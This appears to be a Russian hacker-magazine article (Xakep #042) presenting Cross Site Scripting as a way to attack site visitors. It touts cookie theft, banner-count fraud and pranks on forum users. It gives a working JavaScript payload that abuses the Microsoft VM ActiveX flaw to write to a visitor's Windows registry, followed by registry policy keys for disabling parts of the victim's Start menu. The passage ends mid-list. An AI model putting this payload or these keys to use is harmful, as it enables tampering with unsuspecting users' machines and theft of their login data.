
Cross Site Scripting
Xakep, номер #042, стр. 042-038-1
ломаем клиента через сервер и наоборот
Кислицин Никита aka Nikitos (nikitoz@fromru.com)
Ты, наверняка, неоднократно слышал про Cross Site Scripting, да и я писал об этой уязвимости в статье “Взлом PHP”. Тогда я отвертелся, подпираемый размером журнала сказал: “Почитай доки по javascript”. Сейчас настало время подробно рассказать о том, что из себя представляет эта уязвимость, что с ее помощью можно сделать и вообще, нафиг оно тебе надо.
Не знаю, как правильно переводится “Cross Site Scripting”, но, видимо, примерно так: “сценарий с другой стороны скрипта”. И действительно, несмотря на хардкорный каламбур, этот перевод довольно точен: уязвимость позволяет, используя функции скрипта, выполнить на машине клиента любой код, встраиваемый в html (Javascript, VBScript, ActiveX, т.п.).
Казалось бы, что тебе это может дать? Как ни странно, порой многое: благодаря дыркам в ActiveX ты сможешь писать в реестр (работает почти на всех окнах!), сможешь натырить печенья (а в них ведь иногда кладут пароли и другую конфиденциальную информацию!). А если ты, например, встретил баг в большом форуме, то есть шанс накрутить баннерных показов и просто здорово поржать над юзерами, пуская различные яваскриптовые приколы, которые открывают пару сотен окон и начинают ими двигать по экрану ;).
Но обо всем по порядку.
/* Пишем в реестр */
В ноябре 2000 года Microsoft выпустила патч на дыру под страшным названием “Microsoft VM ActiveX Component vulnerability” – именно эта уязвимость позволяет производить запись в реестр. Несмотря на то, что прошло уже полтора года, почти все версии Windows восприимчивы к следующему коду:
<script>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function yuzi3(){
try{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
try{
Shl.RegWrite("путь\\к\\ключу\\","значение");
}
catch(e){}
}
catch(e){}
}
setTimeout("yuzi3()",1000);
</script>
Полтора года. Большой срок, правда? Но не для пользователей windows – поверь, среднестатистический юзер не читает багтраки, не подписан на secure-рассылки, и, следовательно, не качает патчи ;).
Справедливости ради надо сказать, что сейчас (когда я пишу эти строки;)), моя машина так же восприимчива к этому багу – я недавно менял хард, а в процессе переезда потерял заветный Servise Pack ;(. Качаю, уже 0.15% ;). Итак, глумимся над реестром. Что корыстного можно с него поднять? Я приведу несколько примеров, реализация которых дает наиболее красивые и осязаемые результаты.
/* X-твикинг */
Издевательства над меню "пуск":
Все ключи создаются по адресу HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Policies\Explorer\
NoClose=1 - убирает из меню пунктик "завершение работы" ;)
NoFind - убирает "поиск"
NoSetTaskbar - убирает "настройка"
NoSMHelp - и помощи он не дождется!
NoCommonGroups - удаляет "стандартные" программы

















































































































